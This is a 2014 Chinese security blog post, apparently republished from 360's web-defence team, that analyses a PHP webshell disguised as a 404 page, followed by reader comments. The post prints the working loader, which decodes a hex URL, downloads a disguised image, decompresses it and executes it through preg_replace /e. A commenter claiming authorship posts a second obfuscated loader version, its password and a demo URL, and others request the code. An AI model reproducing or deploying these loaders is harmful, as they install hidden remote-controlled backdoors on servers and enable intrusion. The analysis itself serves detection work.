PHP后门新玩法:一款猥琐的PHP后门分析

路人甲 2014-03-19 16:46:00

0x00 背景


近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

0x01 细节


Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

如图所示:

分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:

首先我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}

这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码

$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() {
var json = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}

这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:

这里跟前面POST的逻辑一样,下面当判断为'true'以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容:

登陆成功之后的webshell如下图:

0x02 总结


这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!

from:http://blog.wangzhan.360.cn/?p=65

评论

C

Coffee 2014-03-19 18:25:08

确实猥琐→_→学习了。

结扎师 2014-03-19 18:34:35

奇技淫巧啊。。

蓝莓说 2014-03-19 19:20:53

我得 写第二部了 这个我的写作

瞌睡龙 2014-03-19 19:33:31

原作者出现……

L

lezi 2014-03-19 20:05:37

牛逼

路人甲 2014-03-19 20:39:40

不要冒充我,你知道我用的测试密码是什么么?我来告诉你是demo123456,也就是密码是demo123456
你知道我如何算的3649图片位置?我来告诉你,那是因为我在写入之前加入了特征符[G] 用来区分图片和代码的位置?你知道我已经发布了第二版了么?来哥告诉你最新的
pack('c*', 0x70, 0x61, 99, 107),
'c' => $i('c*', 99, 97, 108, 108, 95, 117, 115, 101, 114, 95, 102, 117, 110, 99),
'f' => $i('c*', 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115),
'e' => $i('c*',0x63,0x72,0x65,0x61,0x74,0x65,0x5f,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e),
'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631'),
's' =>$i('c*',0x73,0x70,0x72,0x69,0x6e,0x74,0x66)
);
?>

路人甲 2014-03-19 20:40:36

貌似不能贴代码,需要的发我邮箱联系

路人甲 2014-03-19 20:42:17

知道我底部为什么了加了个E?因为我曾用名小E

G

genxor 2014-03-19 21:49:12

第二版代码可否公布

X

Xeyes 2014-03-19 22:04:38

猥琐!!!!

萧然 2014-03-19 22:50:02

求代码

路人甲 2014-03-19 23:06:08

虽然我看不懂,但是确实感觉挺猥琐的

龙臣 2014-03-19 23:56:22

长姿势了啊

路人甲 2014-03-20 00:48:55

20号发布第二版 [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */

I

insight-labs 2014-03-20 06:28:02

googlecode好像间歇被GFW干扰啊……

路人甲 2014-03-20 09:02:00

思路很猥琐,不过从网络下载加密后的代码有一定局限性,如果web服务器无法访问外网,那么webshell也就不能用了。

路人甲 2014-03-20 11:51:28

第二版获取方法
方法一
直接复制第一版代码。。。
运行即可看到第二版代码。。
方法二参考演示demo
此demo也是第一版代码执行后的效果
http://require.duapp.com/session.php

路人甲 2014-03-20 14:22:14

如果web服务器不能访问外网,那也就称不上是web服务器

小贱人 2014-03-20 15:28:12

挺猥琐的呀

龙臣 2014-03-20 17:59:10

也不能这么说吧,不过这种确实在特定环境很有效的,学习了。

L

lezi 2014-03-21 15:46:31

防火墙上可以设置禁止WEB服务器主动外联,防止lcx外联

W

whirlwind 2014-03-24 01:34:19

5。5以后无效吧?

路人甲 2014-03-28 15:02:49

pack('c*', 0x70, 0x61, 99, 107),'c' => $i('c*', 99, 97, 108, 108, 95, 117, 115, 101, 114, 95, 102, 117, 110, 99),'f' => $i('c*', 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115),'e' => $i('c*',0x63,0x72,0x65,0x61,0x74,0x65,0x5f,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e),'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631'),'s' =>$i('c*',0x73,0x70,0x72,0x69,0x6e,0x74,0x66));if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSION['t']))));
?>

P

Pany自留地 2014-04-09 22:33:25

猥琐。。

王小二 2014-04-12 09:19:19

牛逼

T

test 2014-04-13 15:18:11

这个链接打开之后什么都没有?还是有什么玄机?http://require.duapp.com/session.php

S

spiderman 2014-06-18 16:35:43

思路很好啊,先到http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
获取代码,然后使用 preg_replace执行这些代码,通过执行获取的代码,密码验证之后,再到http://2012heike.googlecode.com/svn/trunk/code.jpg获取webshell并执行,niubility!!!

小小泥娃 2014-07-14 10:10:18

好猥琐啊

路人甲 2016-02-01 12:58:38

@KingBin 能给下代码吗

路人甲 2016-02-01 12:59:43

@KingBin 能提供下代码,学习下吗?[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */

路人甲 2016-05-25 17:08:47

@KingBin 可否提供一下最新版代码让我本地调试一下做参考 ~0.o~
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */

路人甲 2016-06-11 20:02:14

@呃呃呃 你真可怜

路人甲

真正的路人甲.

twitter weibo github wechat

随机分类

事件分析 文章:223 篇
Python安全 文章:13 篇
硬件与物联网 文章:40 篇
后门 文章:39 篇
企业安全 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录